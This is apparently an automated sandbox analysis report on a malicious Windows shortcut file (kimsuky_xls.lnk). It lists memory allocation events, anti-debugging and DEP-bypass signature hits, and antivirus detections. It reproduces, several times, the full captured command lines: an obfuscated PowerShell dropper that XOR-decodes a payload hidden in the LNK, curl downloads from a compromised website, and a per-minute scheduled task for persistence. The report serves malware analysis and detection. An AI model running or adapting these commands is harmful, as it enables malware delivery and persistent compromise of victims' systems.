protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05000000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05001000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05002000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05003000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05004000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05005000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05006000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05007000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05008000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05009000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0500f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05010000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05011000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05012000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05013000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05014000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
file C:\Users\test22\AppData\Local\Temp\kimsuky_xls.lnk
cmdline "C:\Windows\system32\cmd.exe" /c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$trans=0;<#App-Poisoning#>$boost='length';<#App-Poisoning#>$export=Get-Location;$herself=&(gcm *et-Child*) *.lnk;<#App-Poisoning#>$herself=$herself|where-object{$_.$boost -eq 0x00007D45};<#App-Poisoning#>$theater=$herself;<#App-Poisoning#>$herself=$herself|Select-Object -ExpandProperty Name;<#App-Poisoning#>if([string]::IsNullOrEmpty($herself)){$trans=1;<#App-Poisoning#>$export=$env:USERPROFILE;<#App-Poisoning#>$export=$export+'\appdata\local\temp';<#App-Poisoning#>$herself=Get-ChildItem -Path $export -Recurse -Filter *.lnk|where-object{$_.$boost -eq 0x00007D45}|ForEach-Object{$_.FullName}|Select-Object -First 1;<#App-Poisoning#>$theater=$herself};<#App-Poisoning#>$finding=$herself.substring(0,$herself.length-4);$awesome=[System.IO.BinaryReader]::new([System.IO.File]::open($herself,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));try{$awesome.BaseStream.Seek(0x0000183E,[System.IO.SeekOrigin]::Begin);$rescueeyboard=$awesome.ReadBytes(0x00003C12);}finally{$awesome.Close()};$rescue=0;$styles=0;$firms=$rescueeyboard.count;while ($rescue -lt $firms){$sizes=0x01;$styles=$rescue-[math]::Floor($rescue/$sizes)*$sizes;$spending=0xFE+$styles;$rescueeyboard[$rescue]=$rescueeyboard[$rescue] -bxor $spending;$rescue++};[System.IO.File]::WriteAllBytes($finding,$rescueeyboard);if($trans -eq 1){$entire=$finding}else{$entire='.\'+$finding};& $entire;remove-item -path $theater -force;"&zZHDQoKxCqATBpeFafs||cd /d c:\Users\Public\Documents & copy c:\windows\system32\curl.exe cXAzWSe.exe & copy c:\windows\system32\schtasks.exe cXAzWSe1.exe & cXAzWSe -k -o ABBLIbd.exe https://www.holosformations.fr/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle0 & cXAzWSe -k -o qaVnopX.cdr https://www.holosformations.fr/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle1 & cXAzWSe1 /delete /tn "qaVnopX" /f & cXAzWSe1 /create /sc minute /mo 1 /tn "qaVnopX" /tr "c:\Users\Public\Documents\ABBLIbd.exe c:\Users\Public\Documents\qaVnopX.cdr"
cmdline C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$trans=0;<#App-Poisoning#>$boost='length';<#App-Poisoning#>$export=Get-Location;$herself=&(gcm *et-Child*) *.lnk;<#App-Poisoning#>$herself=$herself|where-object{$_.$boost -eq 0x00007D45};<#App-Poisoning#>$theater=$herself;<#App-Poisoning#>$herself=$herself|Select-Object -ExpandProperty Name;<#App-Poisoning#>if([string]::IsNullOrEmpty($herself)){$trans=1;<#App-Poisoning#>$export=$env:USERPROFILE;<#App-Poisoning#>$export=$export+'\appdata\local\temp';<#App-Poisoning#>$herself=Get-ChildItem -Path $export -Recurse -Filter *.lnk|where-object{$_.$boost -eq 0x00007D45}|ForEach-Object{$_.FullName}|Select-Object -First 1;<#App-Poisoning#>$theater=$herself};<#App-Poisoning#>$finding=$herself.substring(0,$herself.length-4);$awesome=[System.IO.BinaryReader]::new([System.IO.File]::open($herself,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));try{$awesome.BaseStream.Seek(0x0000183E,[System.IO.SeekOrigin]::Begin);$rescueeyboard=$awesome.ReadBytes(0x00003C12);}finally{$awesome.Close()};$rescue=0;$styles=0;$firms=$rescueeyboard.count;while ($rescue -lt $firms){$sizes=0x01;$styles=$rescue-[math]::Floor($rescue/$sizes)*$sizes;$spending=0xFE+$styles;$rescueeyboard[$rescue]=$rescueeyboard[$rescue] -bxor $spending;$rescue++};[System.IO.File]::WriteAllBytes($finding,$rescueeyboard);if($trans -eq 1){$entire=$finding}else{$entire='.\'+$finding};& $entire;remove-item -path $theater -force;"
cmdline C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description task schedule rule schtasks_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline "C:\Windows\system32\cmd.exe" /c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$trans=0;<#App-Poisoning#>$boost='length';<#App-Poisoning#>$export=Get-Location;$herself=&(gcm *et-Child*) *.lnk;<#App-Poisoning#>$herself=$herself|where-object{$_.$boost -eq 0x00007D45};<#App-Poisoning#>$theater=$herself;<#App-Poisoning#>$herself=$herself|Select-Object -ExpandProperty Name;<#App-Poisoning#>if([string]::IsNullOrEmpty($herself)){$trans=1;<#App-Poisoning#>$export=$env:USERPROFILE;<#App-Poisoning#>$export=$export+'\appdata\local\temp';<#App-Poisoning#>$herself=Get-ChildItem -Path $export -Recurse -Filter *.lnk|where-object{$_.$boost -eq 0x00007D45}|ForEach-Object{$_.FullName}|Select-Object -First 1;<#App-Poisoning#>$theater=$herself};<#App-Poisoning#>$finding=$herself.substring(0,$herself.length-4);$awesome=[System.IO.BinaryReader]::new([System.IO.File]::open($herself,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));try{$awesome.BaseStream.Seek(0x0000183E,[System.IO.SeekOrigin]::Begin);$rescueeyboard=$awesome.ReadBytes(0x00003C12);}finally{$awesome.Close()};$rescue=0;$styles=0;$firms=$rescueeyboard.count;while ($rescue -lt $firms){$sizes=0x01;$styles=$rescue-[math]::Floor($rescue/$sizes)*$sizes;$spending=0xFE+$styles;$rescueeyboard[$rescue]=$rescueeyboard[$rescue] -bxor $spending;$rescue++};[System.IO.File]::WriteAllBytes($finding,$rescueeyboard);if($trans -eq 1){$entire=$finding}else{$entire='.\'+$finding};& $entire;remove-item -path $theater -force;"&zZHDQoKxCqATBpeFafs||cd /d c:\Users\Public\Documents & copy c:\windows\system32\curl.exe cXAzWSe.exe & copy c:\windows\system32\schtasks.exe cXAzWSe1.exe & cXAzWSe -k -o ABBLIbd.exe https://www.holosformations.fr/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle0 & cXAzWSe -k -o qaVnopX.cdr https://www.holosformations.fr/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle1 & cXAzWSe1 /delete /tn "qaVnopX" /f & cXAzWSe1 /create /sc minute /mo 1 /tn "qaVnopX" /tr "c:\Users\Public\Documents\ABBLIbd.exe c:\Users\Public\Documents\qaVnopX.cdr"
cmdline C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
cmdline cXAzWSe1 /create /sc minute /mo 1 /tn "qaVnopX" /tr "c:\Users\Public\Documents\ABBLIbd.exe c:\Users\Public\Documents\qaVnopX.cdr"
cmdline "C:\Windows\system32\cmd.exe" /c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$trans=0;<#App-Poisoning#>$boost='length';<#App-Poisoning#>$export=Get-Location;$herself=&(gcm *et-Child*) *.lnk;<#App-Poisoning#>$herself=$herself|where-object{$_.$boost -eq 0x00007D45};<#App-Poisoning#>$theater=$herself;<#App-Poisoning#>$herself=$herself|Select-Object -ExpandProperty Name;<#App-Poisoning#>if([string]::IsNullOrEmpty($herself)){$trans=1;<#App-Poisoning#>$export=$env:USERPROFILE;<#App-Poisoning#>$export=$export+'\appdata\local\temp';<#App-Poisoning#>$herself=Get-ChildItem -Path $export -Recurse -Filter *.lnk|where-object{$_.$boost -eq 0x00007D45}|ForEach-Object{$_.FullName}|Select-Object -First 1;<#App-Poisoning#>$theater=$herself};<#App-Poisoning#>$finding=$herself.substring(0,$herself.length-4);$awesome=[System.IO.BinaryReader]::new([System.IO.File]::open($herself,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));try{$awesome.BaseStream.Seek(0x0000183E,[System.IO.SeekOrigin]::Begin);$rescueeyboard=$awesome.ReadBytes(0x00003C12);}finally{$awesome.Close()};$rescue=0;$styles=0;$firms=$rescueeyboard.count;while ($rescue -lt $firms){$sizes=0x01;$styles=$rescue-[math]::Floor($rescue/$sizes)*$sizes;$spending=0xFE+$styles;$rescueeyboard[$rescue]=$rescueeyboard[$rescue] -bxor $spending;$rescue++};[System.IO.File]::WriteAllBytes($finding,$rescueeyboard);if($trans -eq 1){$entire=$finding}else{$entire='.\'+$finding};& $entire;remove-item -path $theater -force;"&zZHDQoKxCqATBpeFafs||cd /d c:\Users\Public\Documents & copy c:\windows\system32\curl.exe cXAzWSe.exe & copy c:\windows\system32\schtasks.exe cXAzWSe1.exe & cXAzWSe -k -o ABBLIbd.exe https://www.holosformations.fr/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle0 & cXAzWSe -k -o qaVnopX.cdr https://www.holosformations.fr/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle1 & cXAzWSe1 /delete /tn "qaVnopX" /f & cXAzWSe1 /create /sc minute /mo 1 /tn "qaVnopX" /tr "c:\Users\Public\Documents\ABBLIbd.exe c:\Users\Public\Documents\qaVnopX.cdr"
file C:\Users\test22\AppData\Local\Temp\kimsuky_xls.lnk
MicroWorld-eScan Heur.BZC.YAX.Pantera.190.3F729A7A
CTX lnk.unknown.pantera
VIPRE Heur.BZC.YAX.Pantera.190.3F729A7A
Arcabit Heur.BZC.YAX.Pantera.190.3F729A7A
VirIT Trojan.LNK.Heur.A
TrendMicro-HouseCall Possible_SMARGULONGA
Kaspersky HEUR:Trojan.Multi.Agent.gen
BitDefender Heur.BZC.YAX.Pantera.190.3F729A7A
Rising Trojan.PSRunner/LNK!1.BADE (CLASSIC)
Emsisoft Heur.BZC.YAX.Pantera.190.3F729A7A (B)
DrWeb Trojan.MulDrop31.11296
Sophos Troj/LnkDrop-M
Google Detected
ZoneAlarm Troj/LnkDrop-M
GData Heur.BZC.YAX.Pantera.190.3F729A7A
Ikarus BZC.YAX.Pantera
Fortinet LNK/Agent.AGF!tr
Process injection Process 3068 resumed a thread in remote process 2224
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000334
suspend_count: 1
process_identifier: 2224
1 0 0
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe